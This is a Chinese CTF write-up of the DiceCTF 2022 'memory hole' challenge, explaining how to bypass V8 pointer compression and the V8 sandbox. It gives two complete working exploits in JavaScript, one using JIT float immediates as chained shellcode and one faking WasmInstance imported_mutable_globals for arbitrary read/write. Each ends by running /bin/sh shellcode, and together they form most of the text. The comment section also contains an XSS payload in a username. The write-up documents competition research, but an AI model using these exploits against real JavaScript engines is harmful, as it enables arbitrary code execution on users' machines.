V8 沙箱绕过

Jayl1n 2022-02-22 10:28:00

0x00 背景

这是 DiceCTF2022 的一道题 memory hole。

题目给了我们修改任意 array 的 length 的能力,按过往的经验,接下来很简单,就是构造任意地址读写原语,构造 WASM 实例,读 RWX 空间地址,写 shellcode ,调 WASM 函数,OK。

但题目开启了 V8 沙箱,一个新的安全机制,直接阻止了我们构造任意地址读写原语,能访问的范围是 array 基址后连续的 4G 地址空间。

绕过这个沙箱是本题的重点,看了两篇wp有所收获,所以整理了下绕过手法,未来可能会用到。

题目地址

0x01 指针压缩

64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 js_base + offset 的形式,只在内存当中存储 offset ,寄存器 $14 存储 js_base ,其中 offset 是 32 位的。JS 对象在解引用时,会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在很小的一个区域,无法访问任意地址。

如下,没有开启“指针压缩”的 ArrayBuffer 内存布局:

Untitled.png

开启后:

Untitled 1.png

绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。ArrayBufferBackingStore 是个堆外指针,可以直接修改 BackingStore 为任意地址进而实现任意地址读写。

0x02 V8 沙箱

V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”,比如 WebAssemblyRWX 页指针和 ArrayBufferBackingStore 指针。将这些外部指针都转为表的索引,以基址+偏移的方式访问,限制指针能访问的范围,防止攻击者利用 V8 漏洞实现内存任意地址读写。

V8 Sandbox - High-Level Design Doc

如下,未开启 V8 沙箱时的 ArrayBuffer 对象内存布局:

Untitled 2.png

开启沙箱后,BackingStore 替换为 0x45c00000000(偏移量 0x45c00,向左移动 24 位保证最高位为 0)。

Untitled 3.png

此时假设攻击者能从多个线程中任意破坏沙箱内的内存,现在需要一个额外的漏洞破坏沙箱外部的内存,从而执行任意代码。

0x03 绕过

方法一:利用立即数写 shellcode

(参考 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html

JSFunction

先 DebugPrint 一个 JSFunction 的内存结构:

Untitled 4.png

这里有一个 code 字段,它指向了函数要执行的汇编指令,处于 r-x 页。

Untitled 5.png

Untitled 6.png

用 gdb 修改 code 字段 0x41414141

Untitled 7.png

继续执行,出现异常,此时 rcx0x2a0c41414141 ,即基址(0x2a0c00000000)+偏移(0x41414141)。

Untitled 8.png

看这段汇编,如果我们令[rcx + 0x1b] & 0x20000000 = 0rip 就会在之后被设置为 rcx+0x3f ,从而劫持 rip ,这个条件是比较容易满足的。

Untitled 9.png

使用立即数构造 shellcode

JS 函数的 JIT 代码存储在堆内,即基址开头的 32 位区域,如下,基址都是 0x350f00000000

Untitled 10.png

这个函数返回的是一个浮点数组,在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节。

Untitled 11.png

立即数同样可以被识别为汇编指令,很容易想到可以利用这个立即数来布置 shellcode,只要将 shellcode 片段用 jmp 连接起来,就能将一个个立即数串联起来,实现完整的功能。

jmp 短跳需要 2 个字节,剩下 6 个字节可以自由发挥。

参考原作的脚本生成 shellcode,再将输出转为 IEEE 浮点表示。

from pwn import *

context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
    assert len(code) <= 6
    print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948

IEEE:
1.95538254221075331056310651818E-246
1.95606125582421466942709801013E-246
1.99957147195425773436923756715E-246
1.95337673326740932133292175341E-246
2.63486047652296056448306022844E-284
"""

生成出来的 shellcode 是通过系统调用执行 /bin/sh

跟一下

gef  job 0x3de400045681
0x3de400045681: [Code]
 - map: 0x3de40800263d <Map>
 - code_data_container: 0x3de4081d360d <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x3de400045681

Instructions (size = 388)
0x3de4000456c0     0  8b59d0               movl rbx,[rcx-0x30]
...
0x3de400045735    75  c5fb114107           vmovsd [rcx+0x7],xmm0
0x3de40004573a    7a  49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x3de400045744    84  c4c1f96ec2           vmovq xmm0,r10
0x3de400045749    89  c5fb11410f           vmovsd [rcx+0xf],xmm0
0x3de40004574e    8e  49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x3de400045758    98  c4c1f96ec2           vmovq xmm0,r10
0x3de40004575d    9d  c5fb114117           vmovsd [rcx+0x17],xmm0
0x3de400045762    a2  49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x3de40004576c    ac  c4c1f96ec2           vmovq xmm0,r10
0x3de400045771    b1  c5fb11411f           vmovsd [rcx+0x1f],xmm0
0x3de400045776    b6  49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x3de400045780    c0  c4c1f96ec2           vmovq xmm0,r10
0x3de400045785    c5  c5fb114127           vmovsd [rcx+0x27],xmm0
0x3de40004578a    ca  49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
...

以指令格式查看这几个立即数,可以看到这几个立即数是通过 jmp 串联起来了。

gef➤  x/3i 0x3de40004573c
   0x3de40004573c:  push   0x68732f
   0x3de400045741:  pop    rax
   0x3de400045742:  jmp    0x3de400045750
gef➤  x/3i 0x3de400045750
   0x3de400045750:  push   0x6e69622f
   0x3de400045755:  pop    rdx
   0x3de400045756:  jmp    0x3de400045764
gef➤  x/3i 0x3de400045764
   0x3de400045764:  shl    rax,0x20
   0x3de400045768:  xor    esi,esi
   0x3de40004576a:  jmp    0x3de400045778
gef➤  x/4i 0x3de400045778
   0x3de400045778:  add    rax,rdx
   0x3de40004577b:  xor    edx,edx
   0x3de40004577d:  push   rax
   0x3de40004577e:  jmp    0x3de40004578c
gef➤  x/4i 0x3de40004578C
   0x3de40004578c:  mov    rdi,rsp
   0x3de40004578f:  push   0x3b
   0x3de400045791:  pop    rax
   0x3de400045792:  syscall

执行

接下来就是劫持 rip

修改 JSFunction 对象的 code 字段,令 code + 0x3f = 0x3de40004573c

code 的计算方式 0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c ,即原 code 值加 0x7c ,具体各位自行体会,原作的 jitAddr + 0xb3 - 0x3f 的计算在我这跑不起来,差了 8 个字节,不知道是不是环境问题。

Untitled 12.png

EXP

function dp(x) {}// %DebugPrint(x);}
const print = () => {};
const assert = function (b, msg)
{
    if (!b)
        throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
    __dvCvt.setFloat64(0, val, true);
    return __dvCvt.getUint32(0, true) +
        __dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
    const tmp0 = val % 0x100000000;
    __dvCvt.setUint32(0, tmp0, true);
    __dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
    return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
    __dvCvt.setFloat64(0, val, true);
}
const hex = (x) => ("0x" + x.toString(16));

/*
One weird thing is that as long as a function contains floating const,
allocated array object cannot reach the function object by OOB;
therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.
*/
const foo = ()=>
{
    return [
        1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
    foo();foo();foo();foo();
}

const f = () => 123;
const arr = [1.1];
const o = {x:0x1337, a:foo, b:f}; // x makes a and b double align
const ua = new Uint32Array(2);

arr.setLength(36);
d22u(arr[3]);
const fooAddr = __dvCvt.getUint32(0, true);
const fAddr = __dvCvt.getUint32(4, true);
print(hex(fAddr));dp(f);
dp(ua);

function readOff(off)
{
    arr[35] = u2d((off-7) * 0x100000000);
    return ua[0];
}
function writeOff(off, val)
{
    arr[35] = u2d((off-7) * 0x100000000);
    ua[0] = val;
}
print(hex(fooAddr));dp(foo);
jitAddr = readOff(fooAddr + 0x17);
print('jitAddr');
print(hex(jitAddr));
print('rcx + 0x1b:') // rcx = jitAddr
print(hex(jitAddr + 0x1b));
print(hex(readOff(jitAddr + 0x1b)));
// %SystemBreak();
// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);
writeOff(fAddr + 0x17, jitAddr + 0x7c);
print(readOff(fooAddr + 0x17));
dp(foo);
// %SystemBreak();
f();

方法二:利用 WasmInstance 的全局变量

(参考:https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/

尽管沙箱几乎把所有指针都压缩了,但依然存在一些64位的原始指针,可以尝试劫持它们来绕过沙箱。

全局变量

WasmInstance 对象的 imported_mutable_globals 存储 WASM 代码中使用的所有全局变量,它并没有被沙箱保护起来。

下面是一个 WasmInstance 对象:

DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
 - map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
 - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
 - exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
 - native_context: 0x3b17081c2c75 <NativeContext[266]>
 - imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
 - imported_function_refs: 0x3b1708002249 <FixedArray[0]>
 - indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
 - managed_native_allocations: 0x3b1708048e61 <Foreign>
 - managed object maps: 0x3b1708002249 <FixedArray[0]>
 - feedback vectors: 0x3b1708002249 <FixedArray[0]>
 - memory_start: (nil)
 - memory_size: 0
 - imported_function_targets: 0x560e9be53750
 - globals_start: (nil)
 - imported_mutable_globals: 0x560e9be53770
 - ...

查看内存,imported_mutable_globals 确实还是64位。

gef➤  x/20xg 0x3b17081d2f3d-1
0x3b17081d2f3c: 0x0800224908206439  0x0800224908002249
0x3b17081d2f4c: 0x0000000008002249  0x0000000000000000
0x3b17081d2f5c: 0x0000000000000000  0x0000560e9bddc640
0x3b17081d2f6c: 0x0000560e9be53750  0x0000000000000000
0x3b17081d2f7c: 0x0000000000000000  0x0000000000000000
0x3b17081d2f8c: 0x0000560e9be53770  0x0000560e9bddc620
0x3b17081d2f9c: 0x0000246bb5adb000  0x0000560e9bde8a48
0x3b17081d2fac: 0x0000560e9bde8a40  0x0000560e9bde8a60
0x3b17081d2fbc: 0x0000560e9bde8a58  0x0000560e9bddc630
0x3b17081d2fcc: 0x0000560e9be53790  0x0000560e9be537b0

使用全局变量

var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});

以上可以往 imported_mutable_globals 里添加一个 int64 的全局变量 。

注意global 这个变量是在当前堆上分配的,利用漏洞是可以修改这个对象的属性。

DebugPrint 一下这个 global

DebugPrint: 0xc7908048d0d: [WasmGlobalObject]
 - map: 0x0c7908206821 <Map(HOLEY_ELEMENTS)>
 - untagged_buffer: 0x0c7908048d31 <ArrayBuffer map = 0xc7908203289>
 - offset: 0
 - raw_type: 2
 - is_mutable: 1
 - type: i64
 - is_mutable: 1

untagged_buffer 是一个 ArrayBuffer,backing_store0x3b1800002000 ,也就是 global 存储数据的地址。

gef  job 0x3b1708048d31
0x3b1708048d31: [JSArrayBuffer]
 - map: 0x3b1708203289 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3b17081c99e9 <Object map = 0x3b17082032b1>
 - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x3b1800002000
 - byte_length: 8
 - max_byte_length: 8
 - detachable
 - properties: 0x3b1708002249 <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

回过头看上面 wasm_instanceimported_mutable_globals

DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
 - map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
 - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
 - exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
 - native_context: 0x3b17081c2c75 <NativeContext[266]>
 - imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
 - imported_function_refs: 0x3b1708002249 <FixedArray[0]>
 - indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
 - managed_native_allocations: 0x3b1708048e61 <Foreign>
 - managed object maps: 0x3b1708002249 <FixedArray[0]>
 - feedback vectors: 0x3b1708002249 <FixedArray[0]>
 - memory_start: (nil)
 - memory_size: 0
 - imported_function_targets: 0x560e9be53750
 - globals_start: (nil)
 - imported_mutable_globals: 0x560e9be53770
 - ...

这里的第一个元素即是 globalbacking_store 地址

gef➤  x/10xg 0x560e9be53770
0x560e9be53770: 0x00003b1800002000  0x00007fcdcb1bdca0
0x560e9be53780: 0x0000000000000000  0x0000000000000021
0x560e9be53790: 0x00007fcdcb1bdca0  0x00007fcdcb1bdca0
0x560e9be537a0: 0x0000000000000000  0x0000000000000021
0x560e9be537b0: 0x00007fcdcb1bdca0  0x00007fcdcb1bdca0

我们伪造一个 imported_mutable_globals 替换掉 wasm_instanceimported_mutable_globals ,即可做到任意地址读写。

伪造 imported_mutable_globals

imported_mutable_globals 并不是一个 JS 对象,不用泄漏 map ,伪造起来比较容易。

创建一个 array ,第一个元素是要读写的任意地址。

再泄漏这个 array 的偏移及基址 js_base 计算得到完整的 array 地址,覆盖掉用来的 imported_mutable_globals

泄漏 array 的偏移按常规的路子来就行,泄漏 js_base 见下一节。

一切搞好后,要读写任意地址,改 array[0] 即可。

获取基址 js_base

泄漏基址 js_base 并不难,多次运行 d8 ,搜索下基址:

第一次

gef➤  search-pattern 0x1c53
[+] Searching '\x53\x1c' in memory
[+] In (0x1c5300000000-0x1c5300003000), permission=rw-
  0x1c530000001c - 0x1c5300000024  →   "\x53\x1c[...]" 
  0x1c5300000024 - 0x1c530000002c  →   "\x53\x1c[...]" 
  0x1c5300000054 - 0x1c530000005c  →   "\x53\x1c[...]" 
  0x1c53000000f4 - 0x1c53000000fc  →   "\x53\x1c[...]"
...

第二次

gef➤  search-pattern 0x00002c3b
[+] Searching '\x3b\x2c\x00\x00' in memory
[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-
  0x2c3b0000001c - 0x2c3b0000001e  →   ";," 
  0x2c3b00000024 - 0x2c3b00000026  →   ";," 
  0x2c3b00000054 - 0x2c3b00000056  →   ";," 
  0x2c3b000000f4 - 0x2c3b000000f6  →   ";,"
...

第三次

gef➤  search-pattern 0x3f13
[+] Searching '\x13\x3f' in memory
[+] In (0x3f1300000000-0x3f1300003000), permission=rw-
  0x3f130000001c - 0x3f1300000024  →   "\x13\x3f[...]" 
  0x3f1300000024 - 0x3f130000002c  →   "\x13\x3f[...]" 
  0x3f1300000054 - 0x3f130000005c  →   "\x13\x3f[...]" 
  0x3f13000000f4 - 0x3f13000000fc  →   "\x13\x3f[...]"
...

可以看到,在 [js_base , js_base+0x3000] 的区间就有一些64位的原始指针,如果能读到,就可以泄漏出基址。

具体的方法,构造一个 BigInt64Array 修改 external_pointer ,以及 byte_length ,让 BigInt64Array 能从 js_base 开始访问。

这里由于沙箱,data_ptr 的计算方式改为 js_base + base_pointer + (external_pointer << 2) ,需要注意 external_pointer 变为了偏移,如下图的 0x1000000

Untitled 13.png

修改 external_pointerbase_pointer0BigIng64Array 就会从 js_base 开始访问了。

修改全局变量

参考 mdm 提供的 demo https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat ,添加修改 global 变量的函数。

(module
   (global $g (import "js" "global") (mut i64))
   (func (export "getGlobal") (result i64)
        (global.get $g))
   (func (export "setGlobal") (param i64)
        (global.set $g
            (get_local 0)))
)

用 wat2wasm https://webassembly.github.io/wabt/demo/wat2wasm/ 编译后,提取二进制格式的输出。

现在可以使用 WASM 修改全局变量了:

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code); 

const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}}); 

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

setGlobal(0x10000n);
console.log(getGlobal()); // 65535

EXP

function dp(x) {} 
// function dp(x) {%DebugPrint(x);} // const print = console.log;
const print = (x) =>{console.log(x)};
class Helpers {
    constructor() {
      this.cvt_buf = new ArrayBuffer(8);
      this.cvt_f64a = new Float64Array(this.cvt_buf);
      this.cvt_u64a = new BigUint64Array(this.cvt_buf);
      this.cvt_u32a = new Uint32Array(this.cvt_buf);
    }

    ftoi(f) {
      this.cvt_f64a[0] = f;
      return this.cvt_u64a[0];
    }

    itof(i) {
      this.cvt_u64a[0] = i;
      return this.cvt_f64a[0];
    }

    ftoil(f) {
      this.cvt_f64a[0] = f;
      return this.cvt_u32a[0];
    }

    ftoih(f) {
      this.cvt_f64a[0] = f;
      return this.cvt_u32a[1];
    }

    fsetil(f, l) {
      this.cvt_f64a[0] = f;
      this.cvt_u32a[0] = l;
      return this.cvt_f64a[0];
    }

    fsetih(f, h) {
      this.cvt_f64a[0] = f;
      this.cvt_u32a[1] = h;
      return this.cvt_f64a[0];
    }

    isetltof(i, l) {
      this.cvt_u64a[0] = i;
      this.cvt_u32a[0] = l;
      return this.cvt_f64a[0];
    }

    isethtof(i, h) {
      this.cvt_u64a[0] = i;
      this.cvt_u32a[1] = h;
      return this.cvt_f64a[0];
    }

    isetlhtof(l,h){
        this.cvt_u32a[0] = l;
        this.cvt_u32a[1] = h;
        return this.cvt_f64a[0];
    }

    isetltoi(i,l){
      this.cvt_u32a[0] = l;
      return this.cvt_u64a[0];
    }

    isethtoi(i,h){
      this.cvt_u32a[1] = h;
      return this.cvt_u64a[0];
    }

    isetlhtoi(l,h){
        this.cvt_u32a[0] = l;
        this.cvt_u32a[1] = h;
        return this.cvt_u64a[0];
    }

    igetl(i) {
      this.cvt_u64a[0] = i;
      return this.cvt_u32a[0];
    }

    igeth(i) {
      this.cvt_u64a[0] = i;
      return this.cvt_u32a[1];
    }

    gc() {
      for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x1000000);
      }
    }
    printhex(s, val) {
      //%DebugPrint(s + " 0x" + val.toString(16));
      console.log(s + " 0x" + val.toString(16));
      //document.write(s +' ' + val.toString(16) + " </br>");
      //alert(s + " 0x" + val.toString(16));
    }
};

var helper = new Helpers();

var oob_arr = [1.1, 2.2, 3.3];
var buf = new ArrayBuffer(0x100);
var i64arr= new BigUint64Array(buf);

var fake_imported_mutable_globals_arr = [0x1337133713371337];
var leaker = { 'x':fake_imported_mutable_globals_arr};

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code); 
const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}}); 

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

function arbWrite(addr,val){
    oob_arr[0x17] = helper.itof(addr);
    setGlobal(BigInt.asUintN(64,BigInt(val)));
}

function arbRead(addr){
    oob_arr[0x17] = helper.itof(addr);
    return BigInt.asUintN(64, getGlobal());
}

function addrOf(obj){
    leaker['x'] = obj;
    return BigInt.asUintN(64,js_base + BigInt(helper.ftoih(oob_arr[0x1b])));
}

oob_arr.setLength(0x10000000/8);
dp(oob_arr);
dp(fake_imported_mutable_globals_arr);
dp(leaker);
// %DebugPrint(i64arr);
// %SystemBreak();

oob_arr[0x11] = helper.isethtof(helper.ftoi(oob_arr[0x11]),0x10000000); // length
oob_arr[0x13] = helper.itof(0n); // external_pointer
// %DebugPrint(i64arr);
// %SystemBreak();

// leak js_base
var js_base = 0n;
if( (i64arr[3] >> 32n ) == (i64arr[4] >> 32n)) {
    js_base = BigInt.asUintN(64,i64arr[3]) & 0xffff00000000n;
}
helper.printhex('js_base @', js_base);

fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);
fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - 0x9n;

// %SystemBreak();

oob_arr_addr = addrOf(oob_arr);
wasm_inst_addr = addrOf(wasm_instance);

imported_mutable_globals_offset = (wasm_inst_addr - js_base + 0x50n -1n ) / 8n;

dp(wasm_instance);
// %SystemBreak();

helper.printhex('fake_obj_addr @', fake_imported_mutable_globals_addr);
helper.printhex('oob_arr_addr @', oob_arr_addr);
helper.printhex('wasm_instance_addr @', wasm_inst_addr);
helper.printhex('wasm_instance.imported_mutable_globals_offset ', imported_mutable_globals_offset);

// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr & 0xffffffffn));
// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr >> 32n));
helper.printhex('i64arr[globals_offset] @', i64arr[imported_mutable_globals_offset]);
i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;

dp(wasm_instance);
// %SystemBreak();

var wasm_code2= new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11,
]);

var wasm_mod2 = new WebAssembly.Module(wasm_code2);
var wasm_instance2 = new WebAssembly.Instance(wasm_mod2);
var f = wasm_instance2.exports.main;

wasm_instance2_addr = addrOf(wasm_instance2);

wasm_instance2_rwx_page_addr = wasm_instance2_addr + 0x60n - 1n;
helper.printhex('rwx page addr @', wasm_instance2_rwx_page_addr);
// %SystemBreak();
wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);
helper.printhex('rwx page @', wasm_instance2_rwx_page);

shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000008,
0x6e69622f, 0x0068732f, 0x89485756, 0x00050fe6];

for(let i=0; i<shellcode.length; i=i+2){
    arbWrite(wasm_instance2_rwx_page +(BigInt(i) * 4n),helper.isetlhtoi(shellcode[i],shellcode[i+1]));
}

// dp(wasm_instance2);
// %SystemBreak();

f();

Untitled 14.png

0x04 参考

评论

Jayl1n

"><svg/onload=alert(/I_m_Jayl1n@Syclover/)>

twitter weibo github wechat

随机分类

运维安全 文章:62 篇
PHP安全 文章:45 篇
Python安全 文章:13 篇
后门 文章:39 篇
安全管理 文章:7 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录